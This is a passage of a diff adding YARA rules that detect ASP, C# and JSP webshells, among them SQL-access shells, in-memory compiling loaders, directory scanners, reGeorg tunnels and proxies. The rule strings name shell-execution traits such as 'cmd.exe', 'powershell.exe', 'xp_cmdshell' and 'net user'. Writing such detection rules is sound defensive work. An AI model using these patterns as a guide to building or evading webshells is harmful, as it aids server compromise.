+        // <%@PAGE LANGUAGE=JSCRIPT%>
+        // <%@ Page Language="Jscript" validateRequest="false" %>
+        // <%@ Page Language = Jscript %>
+        // <%@ Page Language="C#" %>
+        // <%@ Page Language="VB" ContentType="text/html" validaterequest="false" AspCompat="true" Debug="true" %>
+        // <script runat="server" language="JScript">
+        // <SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
+        // <SCRIPT  RUNAT=SERVER  LANGUAGE=JSCRIPT>
+        // <msxsl:script language="JScript" ...
+        $tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+
+        $tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+        $tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+
+        // avoid hitting php
+        $php1 = "<?php"
+        $php2 = "<?="
+
+        // avoid hitting jsp
+        $jsp1 = "=\"java." wide ascii
+        $jsp2 = "=\"javax." wide ascii
+        $jsp3 = "java.lang." wide ascii
+        $jsp4 = "public" fullword wide ascii
+        $jsp5 = "throws" fullword wide ascii
+        $jsp6 = "getValue" fullword wide ascii
+        $jsp7 = "getBytes" fullword wide ascii
+
+        $perl1 = "PerlScript" fullword
+
+
+    condition:
+        filesize < 300KB and (
+        (
+            any of ( $tagasp_long* ) or
+            // TODO :  yara_push_private_rules.py doesn't do private rules in private rules yet
+            any of ( $tagasp_classid* ) or
+            (
+                $tagasp_short1 and
+                $tagasp_short2 in ( filesize-100..filesize )
+            ) or (
+                $tagasp_short2 and (
+                    $tagasp_short1 in ( 0..1000 ) or
+                    $tagasp_short1 in ( filesize-1000..filesize )
+                )
+            )
+        ) and not (
+            (
+                any of ( $perl* ) or
+                $php1 at 0 or
+                $php2 at 0
+            ) or (
+                ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0
+                )
+        )
+        )
+        and
+        ( $georg or
+        ( all of ( $sa* ) and any of ( $input_sa* ) ) )
+}
+
+rule WEBSHELL_CSHARP_Generic
+{
+    meta:
+        description = "Webshell in c#"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        hash = "b6721683aadc4b4eba4f081f2bc6bc57adfc0e378f6d80e2bfa0b1e3e57c85c7"
+        date = "2021/01/11"
+        modified = "2023-07-05"
+        hash = "4b365fc9ddc8b247a12f4648cd5c91ee65e33fae"
+        hash = "019eb61a6b5046502808fb5ab2925be65c0539b4"
+        hash = "620ee444517df8e28f95e4046cd7509ac86cd514"
+        hash = "a91320483df0178eb3cafea830c1bd94585fc896"
+
+        id = "6d38a6b0-b1d2-51b0-9239-319f1fea7cae"
+    strings:
+        $input_http = "Request." nocase wide ascii
+        $input_form1 = "<asp:" nocase wide ascii
+        $input_form2 = ".text" nocase wide ascii
+        $exec_proc1 = "new Process" nocase wide ascii
+        $exec_proc2 = "start(" nocase wide ascii
+        $exec_shell1 = "cmd.exe" nocase wide ascii
+        $exec_shell2 = "powershell.exe" nocase wide ascii
+
+        //strings from private rule capa_asp
+        $tagasp_short1 = /<%[^"]/ wide ascii
+        // also looking for %> to reduce fp (yeah, short atom but seldom since special chars)
+        $tagasp_short2 = "%>" wide ascii
+
+        // classids for scripting host etc
+        $tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+        $tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+        $tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+        $tagasp_long10 = "<%@ " wide ascii
+        // <% eval
+        $tagasp_long11 = /<% \w/ nocase wide ascii
+        $tagasp_long12 = "<%ex" nocase wide ascii
+        $tagasp_long13 = "<%ev" nocase wide ascii
+
+        // <%@ LANGUAGE = VBScript.encode%>
+        // <%@ Language = "JScript" %>
+
+        // <%@ WebHandler Language="C#" class="Handler" %>
+        // <%@ WebService Language="C#" Class="Service" %>
+
+        // <%@Page Language="Jscript"%>
+        // <%@ Page Language = Jscript %>
+        // <%@PAGE LANGUAGE=JSCRIPT%>
+        // <%@ Page Language="Jscript" validateRequest="false" %>
+        // <%@ Page Language = Jscript %>
+        // <%@ Page Language="C#" %>
+        // <%@ Page Language="VB" ContentType="text/html" validaterequest="false" AspCompat="true" Debug="true" %>
+        // <script runat="server" language="JScript">
+        // <SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
+        // <SCRIPT  RUNAT=SERVER  LANGUAGE=JSCRIPT>
+        // <msxsl:script language="JScript" ...
+        $tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+
+        $tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+        $tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+
+        // avoid hitting php
+        $php1 = "<?php"
+        $php2 = "<?="
+
+        // avoid hitting jsp
+        $jsp1 = "=\"java." wide ascii
+        $jsp2 = "=\"javax." wide ascii
+        $jsp3 = "java.lang." wide ascii
+        $jsp4 = "public" fullword wide ascii
+        $jsp5 = "throws" fullword wide ascii
+        $jsp6 = "getValue" fullword wide ascii
+        $jsp7 = "getBytes" fullword wide ascii
+
+        $perl1 = "PerlScript" fullword
+
+
+    condition:
+        (
+        (
+            any of ( $tagasp_long* ) or
+            // TODO :  yara_push_private_rules.py doesn't do private rules in private rules yet
+            any of ( $tagasp_classid* ) or
+            (
+                $tagasp_short1 and
+                $tagasp_short2 in ( filesize-100..filesize )
+            ) or (
+                $tagasp_short2 and (
+                    $tagasp_short1 in ( 0..1000 ) or
+                    $tagasp_short1 in ( filesize-1000..filesize )
+                )
+            )
+        ) and not (
+            (
+                any of ( $perl* ) or
+                $php1 at 0 or
+                $php2 at 0
+            ) or (
+                ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0
+                )
+        )
+        )
+        and filesize < 300KB and
+        ( $input_http or all of ( $input_form* ) ) and all of ( $exec_proc* ) and any of ( $exec_shell* )
+}
+
+rule WEBSHELL_ASP_Runtime_Compile : FILE {
+    meta:
+        description = "ASP webshell compiling payload in memory at runtime, e.g. sharpyshell"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "https://github.com/antonioCoco/SharPyShell"
+        date = "2021/01/11"
+        modified = "2023-04-05"
+        score = 75
+        hash = "e826c4139282818d38dcccd35c7ae6857b1d1d01"
+        hash = "e20e078d9fcbb209e3733a06ad21847c5c5f0e52"
+        hash = "57f758137aa3a125e4af809789f3681d1b08ee5b"
+        hash = "bd75ac9a1d1f6bcb9a2c82b13ea28c0238360b3a7be909b2ed19d3c96e519d3d"
+        hash = "e44058dd1f08405e59d411d37d2ebc3253e2140385fa2023f9457474031b48ee"
+        hash = "f6092ab5c8d491ae43c9e1838c5fd79480055033b081945d16ff0f1aaf25e6c7"
+        hash = "dfd30139e66cba45b2ad679c357a1e2f565e6b3140a17e36e29a1e5839e87c5e"
+        hash = "89eac7423dbf86eb0b443d8dd14252b4208e7462ac2971c99f257876388fccf2"
+        hash = "8ce4eaf111c66c2e6c08a271d849204832713f8b66aceb5dadc293b818ccca9e"
+        id = "5da9318d-f542-5603-a111-5b240f566d47"
+    strings:
+        $payload_reflection1 = "System" fullword nocase wide ascii
+        $payload_reflection2 = "Reflection" fullword nocase wide ascii
+        $payload_reflection3 = "Assembly" fullword nocase wide ascii
+        $payload_load_reflection1 = /[."']Load\b/ nocase wide ascii
+        // only match on "load" or variable which might contain "load"
+        $payload_load_reflection2 = /\bGetMethod\(("load|\w)/ nocase wide ascii
+        $payload_compile1 = "GenerateInMemory" nocase wide ascii
+        $payload_compile2 = "CompileAssemblyFromSource" nocase wide ascii
+        $payload_invoke1 = "Invoke" fullword nocase wide ascii
+        $payload_invoke2 = "CreateInstance" fullword nocase wide ascii
+        $payload_xamlreader1 = "XamlReader" fullword nocase wide ascii
+        $payload_xamlreader2 = "Parse" fullword nocase wide ascii
+        $payload_xamlreader3 = "assembly=" nocase wide ascii
+        $payload_powershell1 = "PSObject" fullword nocase wide ascii
+        $payload_powershell2 = "Invoke" fullword nocase wide ascii
+        $payload_powershell3 = "CreateRunspace" fullword nocase wide ascii
+        $rc_fp1 = "Request.MapPath"
+        $rc_fp2 = "<body><mono:MonoSamplesHeader runat=\"server\"/>" wide ascii
+
+        //strings from private rule capa_asp_input
+        // Request.BinaryRead
+        // Request.Form
+        $asp_input1 = "request" fullword nocase wide ascii
+        $asp_input2 = "Page_Load" fullword nocase wide ascii
+        // base64 of Request.Form(
+        $asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
+        $asp_input4 = "\\u0065\\u0071\\u0075" wide ascii // equ of Request
+        $asp_input5 = "\\u0065\\u0073\\u0074" wide ascii // est of Request
+        $asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
+        $asp_xml_method1 = "GET" fullword wide ascii
+        $asp_xml_method2 = "POST" fullword wide ascii
+        $asp_xml_method3 = "HEAD" fullword wide ascii
+        // dynamic form
+        $asp_form1 = "<form " wide ascii
+        $asp_form2 = "<Form " wide ascii
+        $asp_form3 = "<FORM " wide ascii
+        $asp_asp   = "<asp:" wide ascii
+        $asp_text1 = ".text" wide ascii
+        $asp_text2 = ".Text" wide ascii
+
+        $sus_refl1 = " ^= " wide ascii
+        $sus_refl2 = "SharPy" wide ascii
+
+    condition:
+        //any of them or
+        (
+            (
+                filesize < 50KB and
+                any of ( $sus_refl* )
+            ) or
+            filesize < 10KB
+        ) and
+        (
+                any of ( $asp_input* ) or
+            (
+                $asp_xml_http and
+                any of ( $asp_xml_method* )
+            ) or
+            (
+                any of ( $asp_form* ) and
+                any of ( $asp_text* ) and
+                $asp_asp
+            )
+        )
+        and not any of ( $rc_fp* ) and
+        (
+            (
+                all of ( $payload_reflection* ) and
+                any of ( $payload_load_reflection* )
+            )
+            or
+            (
+                all of ( $payload_compile* ) and
+                any of ( $payload_invoke* )
+            )
+            or all of ( $payload_xamlreader* )
+            or all of ( $payload_powershell* )
+        )
+}
+
+rule WEBSHELL_ASP_SQL
+{
+    meta:
+        description = "ASP webshell giving SQL access. Might also be a dual use tool."
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/03/14"
+        modified = "2023-07-05"
+        hash = "216c1dd950e0718e35bc4834c5abdc2229de3612"
+        hash = "ffe44e9985d381261a6e80f55770833e4b78424bn"
+        hash = "3d7cd32d53abc7f39faed133e0a8f95a09932b64"
+        hash = "f19cc178f1cfad8601f5eea2352cdbd2d6f94e7e"
+        hash = "cafc4ede15270ab3f53f007c66e82627a39f4d0f"
+
+        id = "e534dcb9-40ab-544f-ae55-89fb21c422e9"
+    strings:
+        $sql1 = "SqlConnection" fullword wide ascii
+        $sql2 = "SQLConnection" fullword wide ascii
+        $sql3 = "System" fullword wide ascii
+        $sql4 = "Data" fullword wide ascii
+        $sql5 = "SqlClient" fullword wide ascii
+        $sql6 = "SQLClient" fullword wide ascii
+        $sql7 = "Open" fullword wide ascii
+        $sql8 = "SqlCommand" fullword wide ascii
+        $sql9 = "SQLCommand" fullword wide ascii
+
+        $o_sql1 = "SQLOLEDB" fullword wide ascii
+        $o_sql2 = "CreateObject" fullword wide ascii
+        $o_sql3 = "open" fullword wide ascii
+
+        $a_sql1 = "ADODB.Connection" fullword wide ascii
+        $a_sql2 = "adodb.connection" fullword wide ascii
+        $a_sql3 = "CreateObject" fullword wide ascii
+        $a_sql4 = "createobject" fullword wide ascii
+        $a_sql5 = "open" fullword wide ascii
+
+        $c_sql1 = "System.Data.SqlClient" fullword wide ascii
+        $c_sql2 = "sqlConnection" fullword wide ascii
+        $c_sql3 = "open" fullword wide ascii
+
+        $sus1 = "shell" fullword nocase wide ascii
+        $sus2 = "xp_cmdshell" fullword nocase wide ascii
+        $sus3 = "aspxspy" fullword nocase wide ascii
+        $sus4 = "_KillMe" wide ascii
+        $sus5 = "cmd.exe" fullword wide ascii
+        $sus6 = "cmd /c" fullword wide ascii
+        $sus7 = "net user" fullword wide ascii
+        $sus8 = "\\x2D\\x3E\\x7C" wide ascii
+        $sus9 = "Hacker" fullword wide ascii
+        $sus10 = "hacker" fullword wide ascii
+        $sus11 = "HACKER" fullword wide ascii
+        $sus12 = "webshell" wide ascii
+        $sus13 = "equest[\"sql\"]" wide ascii
+        $sus14 = "equest(\"sql\")" wide ascii
+        $sus15 = { e5 bc 80 e5 a7 8b e5 af bc e5 }
+        $sus16 = "\"sqlCommand\"" wide ascii
+        $sus17 = "\"sqlcommand\"" wide ascii
+
+        //$slightly_sus1 = "select * from " wide ascii
+        //$slightly_sus2 = "SELECT * FROM " wide ascii
+        $slightly_sus3 = "SHOW COLUMNS FROM " wide ascii
+        $slightly_sus4 = "show columns from " wide ascii
+
+
+        //strings from private rule capa_asp
+        $tagasp_short1 = /<%[^"]/ wide ascii
+        // also looking for %> to reduce fp (yeah, short atom but seldom since special chars)
+        $tagasp_short2 = "%>" wide ascii
+
+        // classids for scripting host etc
+        $tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+        $tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+        $tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+        $tagasp_long10 = "<%@ " wide ascii
+        // <% eval
+        $tagasp_long11 = /<% \w/ nocase wide ascii
+        $tagasp_long12 = "<%ex" nocase wide ascii
+        $tagasp_long13 = "<%ev" nocase wide ascii
+
+        // <%@ LANGUAGE = VBScript.encode%>
+        // <%@ Language = "JScript" %>
+
+        // <%@ WebHandler Language="C#" class="Handler" %>
+        // <%@ WebService Language="C#" Class="Service" %>
+
+        // <%@Page Language="Jscript"%>
+        // <%@ Page Language = Jscript %>
+        // <%@PAGE LANGUAGE=JSCRIPT%>
+        // <%@ Page Language="Jscript" validateRequest="false" %>
+        // <%@ Page Language = Jscript %>
+        // <%@ Page Language="C#" %>
+        // <%@ Page Language="VB" ContentType="text/html" validaterequest="false" AspCompat="true" Debug="true" %>
+        // <script runat="server" language="JScript">
+        // <SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
+        // <SCRIPT  RUNAT=SERVER  LANGUAGE=JSCRIPT>
+        // <msxsl:script language="JScript" ...
+        $tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+
+        $tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+        $tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+
+        // avoid hitting php
+        $php1 = "<?php"
+        $php2 = "<?="
+
+        // avoid hitting jsp
+        $jsp1 = "=\"java." wide ascii
+        $jsp2 = "=\"javax." wide ascii
+        $jsp3 = "java.lang." wide ascii
+        $jsp4 = "public" fullword wide ascii
+        $jsp5 = "throws" fullword wide ascii
+        $jsp6 = "getValue" fullword wide ascii
+        $jsp7 = "getBytes" fullword wide ascii
+
+        $perl1 = "PerlScript" fullword
+
+
+        //strings from private rule capa_asp_input
+        // Request.BinaryRead
+        // Request.Form
+        $asp_input1 = "request" fullword nocase wide ascii
+        $asp_input2 = "Page_Load" fullword nocase wide ascii
+        // base64 of Request.Form(
+        $asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
+        $asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
+        $asp_xml_method1 = "GET" fullword wide ascii
+        $asp_xml_method2 = "POST" fullword wide ascii
+        $asp_xml_method3 = "HEAD" fullword wide ascii
+        // dynamic form
+        $asp_form1 = "<form " wide ascii
+        $asp_form2 = "<Form " wide ascii
+        $asp_form3 = "<FORM " wide ascii
+        $asp_asp   = "<asp:" wide ascii
+        $asp_text1 = ".text" wide ascii
+        $asp_text2 = ".Text" wide ascii
+
+    condition:
+        (
+        (
+            any of ( $tagasp_long* ) or
+            // TODO :  yara_push_private_rules.py doesn't do private rules in private rules yet
+            any of ( $tagasp_classid* ) or
+            (
+                $tagasp_short1 and
+                $tagasp_short2 in ( filesize-100..filesize )
+            ) or (
+                $tagasp_short2 and (
+                    $tagasp_short1 in ( 0..1000 ) or
+                    $tagasp_short1 in ( filesize-1000..filesize )
+                )
+            )
+        ) and not (
+            (
+                any of ( $perl* ) or
+                $php1 at 0 or
+                $php2 at 0
+            ) or (
+                ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0
+                )
+        )
+        )
+        and (
+            any of ( $asp_input* ) or
+        (
+            $asp_xml_http and
+            any of ( $asp_xml_method* )
+        ) or
+        (
+            any of ( $asp_form* ) and
+            any of ( $asp_text* ) and
+            $asp_asp
+        )
+        )
+        and
+        ( 6 of ( $sql* ) or all of ( $o_sql* ) or 3 of ( $a_sql* ) or all of ( $c_sql* ) ) and
+        ( ( filesize < 150KB and any of ( $sus* ) ) or
+        ( filesize < 5KB and any of ( $slightly_sus* ) ) )
+}
+
+rule WEBSHELL_ASP_Scan_Writable
+{
+    meta:
+        description = "ASP webshell searching for writable directories (to hide more webshells ...)"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/03/14"
+        modified = "2023-04-05"
+        hash = "2409eda9047085baf12e0f1b9d0b357672f7a152"
+        hash = "af1c00696243f8b062a53dad9fb8b773fa1f0395631ffe6c7decc42c47eedee7"
+
+        id = "1766e081-0591-59ab-b546-b13207764b4d"
+    strings:
+        $scan1 = "DirectoryInfo" nocase fullword wide ascii
+        $scan2 = "GetDirectories" nocase fullword wide ascii
+        $scan3 = "Create" nocase fullword wide ascii
+        $scan4 = "File" nocase fullword wide ascii
+        $scan5 = "System.IO" nocase fullword wide ascii
+        // two methods: check permissions or write and delete:
+        $scan6 = "CanWrite" nocase fullword wide ascii
+        $scan7 = "Delete" nocase fullword wide ascii
+
+
+        $sus1 = "upload" nocase fullword wide ascii
+        $sus2 = "shell" nocase wide ascii
+        $sus3 = "orking directory" nocase fullword wide ascii
+        $sus4 = "scan" nocase wide ascii
+
+
+        //strings from private rule capa_asp
+        $tagasp_short1 = /<%[^"]/ wide ascii
+        // also looking for %> to reduce fp (yeah, short atom but seldom since special chars)
+        $tagasp_short2 = "%>" wide ascii
+
+        // classids for scripting host etc
+        $tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+        $tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+        $tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+        $tagasp_long10 = "<%@ " wide ascii
+        // <% eval
+        $tagasp_long11 = /<% \w/ nocase wide ascii
+        $tagasp_long12 = "<%ex" nocase wide ascii
+        $tagasp_long13 = "<%ev" nocase wide ascii
+
+        // <%@ LANGUAGE = VBScript.encode%>
+        // <%@ Language = "JScript" %>
+
+        // <%@ WebHandler Language="C#" class="Handler" %>
+        // <%@ WebService Language="C#" Class="Service" %>
+
+        // <%@Page Language="Jscript"%>
+        // <%@ Page Language = Jscript %>
+        // <%@PAGE LANGUAGE=JSCRIPT%>
+        // <%@ Page Language="Jscript" validateRequest="false" %>
+        // <%@ Page Language = Jscript %>
+        // <%@ Page Language="C#" %>
+        // <%@ Page Language="VB" ContentType="text/html" validaterequest="false" AspCompat="true" Debug="true" %>
+        // <script runat="server" language="JScript">
+        // <SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
+        // <SCRIPT  RUNAT=SERVER  LANGUAGE=JSCRIPT>
+        // <msxsl:script language="JScript" ...
+        $tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+
+        $tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+        $tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+
+        // avoid hitting php
+        $php1 = "<?php"
+        $php2 = "<?="
+
+        // avoid hitting jsp
+        $jsp1 = "=\"java." wide ascii
+        $jsp2 = "=\"javax." wide ascii
+        $jsp3 = "java.lang." wide ascii
+        $jsp4 = "public" fullword wide ascii
+        $jsp5 = "throws" fullword wide ascii
+        $jsp6 = "getValue" fullword wide ascii
+        $jsp7 = "getBytes" fullword wide ascii
+
+        $perl1 = "PerlScript" fullword
+
+
+        //strings from private rule capa_asp_input
+        // Request.BinaryRead
+        // Request.Form
+        $asp_input1 = "request" fullword nocase wide ascii
+        $asp_input2 = "Page_Load" fullword nocase wide ascii
+        // base64 of Request.Form(
+        $asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
+        $asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
+        $asp_xml_method1 = "GET" fullword wide ascii
+        $asp_xml_method2 = "POST" fullword wide ascii
+        $asp_xml_method3 = "HEAD" fullword wide ascii
+        // dynamic form
+        $asp_form1 = "<form " wide ascii
+        $asp_form2 = "<Form " wide ascii
+        $asp_form3 = "<FORM " wide ascii
+        $asp_asp   = "<asp:" wide ascii
+        $asp_text1 = ".text" wide ascii
+        $asp_text2 = ".Text" wide ascii
+
+    condition:
+        filesize < 10KB and (
+        (
+            any of ( $tagasp_long* ) or
+            // TODO :  yara_push_private_rules.py doesn't do private rules in private rules yet
+            any of ( $tagasp_classid* ) or
+            (
+                $tagasp_short1 and
+                $tagasp_short2 in ( filesize-100..filesize )
+            ) or (
+                $tagasp_short2 and (
+                    $tagasp_short1 in ( 0..1000 ) or
+                    $tagasp_short1 in ( filesize-1000..filesize )
+                )
+            )
+        ) and not (
+            (
+                any of ( $perl* ) or
+                $php1 at 0 or
+                $php2 at 0
+            ) or (
+                ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0
+                )
+        )
+        )
+        and (
+            any of ( $asp_input* ) or
+        (
+            $asp_xml_http and
+            any of ( $asp_xml_method* )
+        ) or
+        (
+            any of ( $asp_form* ) and
+            any of ( $asp_text* ) and
+            $asp_asp
+        )
+        )
+        and 6 of ( $scan* ) and any of ( $sus* )
+}
+
+rule WEBSHELL_JSP_ReGeorg
+{
+    meta:
+        description = "Webshell regeorg JSP version"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        reference = "https://github.com/sensepost/reGeorg"
+        hash = "6db49e43722080b5cd5f07e058a073ba5248b584"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021/01/24"
+        modified = "2023-04-05"
+        score = 75
+        hash = "650eaa21f4031d7da591ebb68e9fc5ce5c860689"
+        hash = "00c86bf6ce026ccfaac955840d18391fbff5c933"
+        hash = "6db49e43722080b5cd5f07e058a073ba5248b584"
+        hash = "9108a33058aa9a2fb6118b719c5b1318f33f0989"
+
+        id = "cbb90005-d8f8-5c64-85d1-29e466f48c25"
+    strings:
+        $jgeorg1 = "request" fullword wide ascii
+        $jgeorg2 = "getHeader" fullword wide ascii
+        $jgeorg3 = "X-CMD" fullword wide ascii
+        $jgeorg4 = "X-STATUS" fullword wide ascii
+        $jgeorg5 = "socket" fullword wide ascii
+        $jgeorg6 = "FORWARD" fullword wide ascii
+
+        //strings from private rule capa_jsp_safe
+        $cjsp_short1 = "<%" ascii wide
+        $cjsp_short2 = "%>" wide ascii
+        $cjsp_long1 = "<jsp:" ascii wide
+        $cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+        // JSF
+        $cjsp_long3 = "/jstl/core" ascii wide
+        $cjsp_long4 = "<%@p" nocase ascii wide
+        $cjsp_long5 = "<%@ " nocase ascii wide
+        $cjsp_long6 = "<% " ascii wide
+        $cjsp_long7 = "< %" ascii wide
+
+    condition:
+        filesize < 300KB and (
+        $cjsp_short1 at 0 or
+            any of ( $cjsp_long* ) or
+            $cjsp_short2 in ( filesize-100..filesize ) or
+        (
+            $cjsp_short2 and (
+                $cjsp_short1 in ( 0..1000 ) or
+                $cjsp_short1 in ( filesize-1000..filesize )
+            )
+        )
+        )
+        and all of ( $jgeorg* )
+}
+
+rule WEBSHELL_JSP_HTTP_Proxy
+{
+    meta:
+        description = "Webshell JSP HTTP proxy"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        hash = "2f9b647660923c5262636a5344e2665512a947a4"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/24"
+        modified = "2023-07-05"
+        hash = "97c1e2bf7e769d3fc94ae2fc74ac895f669102c6"
+        hash = "2f9b647660923c5262636a5344e2665512a947a4"
+
+        id = "55be246e-30a8-52ed-bc5f-507e63bbfe16"
+    strings:
+        $jh1 = "OutputStream" fullword wide ascii
+        $jh2 = "InputStream"  wide ascii
+        $jh3 = "BufferedReader" fullword wide ascii
+        $jh4 = "HttpRequest" fullword wide ascii
+        $jh5 = "openConnection" fullword wide ascii
+        $jh6 = "getParameter" fullword wide ascii
+
+        //strings from private rule capa_jsp_safe
+        $cjsp_short1 = "<%" ascii wide
+        $cjsp_short2 = "%>" wide ascii
+        $cjsp_long1 = "<jsp:" ascii wide
+        $cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+        // JSF
+        $cjsp_long3 = "/jstl/core" ascii wide
+        $cjsp_long4 = "<%@p" nocase ascii wide
+        $cjsp_long5 = "<%@ " nocase ascii wide
+        $cjsp_long6 = "<% " ascii wide
+        $cjsp_long7 = "< %" ascii wide
+
+    condition:
+        filesize < 10KB and (
+        $cjsp_short1 at 0 or
+            any of ( $cjsp_long* ) or
+            $cjsp_short2 in ( filesize-100..filesize ) or
+        (
+            $cjsp_short2 and (
+                $cjsp_short1 in ( 0..1000 ) or
+                $cjsp_short1 in ( filesize-1000..filesize )
+            )
+        )
+        )
+        and all of ( $jh* )
+}
+
+rule WEBSHELL_JSP_Writer_Nano
+{
+    meta:
+        description = "JSP file writer"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/24"
+        modified = "2023-04-05"
+        hash = "ac91e5b9b9dcd373eaa9360a51aa661481ab9429"
+        hash = "c718c885b5d6e29161ee8ea0acadb6e53c556513"
+        hash = "9f1df0249a6a491cdd5df598d83307338daa4c43"
+        hash = "5e241d9d3a045d3ade7b6ff6af6c57b149fa356e"
+
+        id = "422a18f2-d6d4-5b42-be15-1eafe44e01cf"
+    strings:
+        // writting file to disk
+        $payload1 = ".write" wide ascii
+        $payload2 = "getBytes" fullword wide ascii
+        $payload3 = ".decodeBuffer" wide ascii
+        $payload4 = "FileOutputStream" fullword wide ascii
+
+        // writting using java logging, e.g 9f1df0249a6a491cdd5df598d83307338daa4c43
+        $logger1 = "getLogger" fullword ascii wide
+        $logger2 = "FileHandler" fullword ascii wide
+        $logger3 = "addHandler" fullword ascii wide
+
+        //strings from private rule capa_jsp_input
+        // request.getParameter
+        $input1 = "getParameter" fullword ascii wide
+        // request.getHeaders
+        $input2 = "getHeaders" fullword ascii wide
+        $input3 = "getInputStream" fullword ascii wide
+        $input4 = "getReader" fullword ascii wide
+        $req1 = "request" fullword ascii wide
+        $req2 = "HttpServletRequest" fullword ascii wide
+        $req3 = "getRequest" fullword ascii wide
+
+        $jw_sus1 = /getParameter\("."\)/ ascii wide // one char param
+        $jw_sus4 = "yoco" fullword ascii wide // webshell coder
+
+        //strings from private rule capa_jsp_safe
+        $cjsp_short1 = "<%" ascii wide
+        $cjsp_short2 = "%>" wide ascii
+        $cjsp_long1 = "<jsp:" ascii wide
+        $cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+        // JSF
+        $cjsp_long3 = "/jstl/core" ascii wide
+        $cjsp_long4 = "<%@p" nocase ascii wide
+        $cjsp_long5 = "<%@ " nocase ascii wide
+        $cjsp_long6 = "<% " ascii wide
+        $cjsp_long7 = "< %" ascii wide
+
+    condition:
+        //any of them or
+        (
+            any of ( $input* ) and
+            any of ( $req* )
+        ) and (
+            filesize < 200 or
+            (
+                filesize < 1000 and
+                any of ( $jw_sus* )
+            )
+        )
+        and (
+        $cjsp_short1 at 0 or
+            any of ( $cjsp_long* ) or
+            $cjsp_short2 in ( filesize-100..filesize ) or
+        (
+            $cjsp_short2 and (
+                $cjsp_short1 in ( 0..1000 ) or
+                $cjsp_short1 in ( filesize-1000..filesize )
+            )
+        )
+        )
+        and (
+            2 of ( $payload* ) or
+            all of ( $logger* )
+            )
+}
+
+rule WEBSHELL_JSP_Generic_Tiny
+{
+    meta:
+        description = "Generic JSP webshell tiny"
